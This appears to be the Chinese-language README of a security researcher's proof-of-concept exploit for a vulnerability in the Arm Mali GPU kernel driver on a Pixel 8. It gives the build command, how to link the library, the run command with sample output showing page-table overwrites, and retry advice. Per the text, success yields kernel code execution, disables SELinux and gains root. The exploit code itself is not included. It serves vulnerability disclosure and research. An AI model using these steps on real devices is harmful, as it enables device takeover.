相关技术文章可在此处查看。这是 Arm Mali 内核驱动程序中的一个漏洞,我于 2023 年 11 月报告了该漏洞。该漏洞可用于从不被信任的应用域获取任意内核代码执行权限,进而用于禁用 SELinux 并获取 root 权限。
该漏洞利用已在搭载 2023 年 11 月补丁(UD1A.231105.004)的 Google Pixel 8 上完成测试。它需要使用 OpenCL 编译,并与 OpenCL 库 libGLES_mali.so 链接。该库可在 Pixel 8 设备的 vendor/lib64/egl/libGLES_mali.so 路径下找到,OpenCL 头文件可在 KhronosGroup 的 OpenCL-headers 仓库中获取。我使用的具体头文件是 v2023.04.17 版本,不过其他版本也应该可以正常使用。作为参考,我使用 ndk-26 中的 clang 时采用了以下编译命令:
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
该漏洞利用需要链接 libGLES_mali.so。可以通过将 LD_LIBRARY_PATH 设置为 /vendor/lib64/egl 来达成。这个漏洞利用很少失败,即使失败,通常也不会破坏系统或导致系统崩溃。因此,如果运行失败,可以重新运行。如果成功,它会禁用 SELinux 并获取 root 权限。
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
首次运行时,漏洞利用有时会在打印完最后一条 overwrite addr 信息后卡住。如果出现这种情况(卡住超过 10 秒,但暂停几秒是正常的),只需终止该漏洞利用进程并重新运行即可。第二次运行时应当不会卡住。
如需在启用 MTE 的情况下进行测试,请按照这些说明来启用内核 MTE。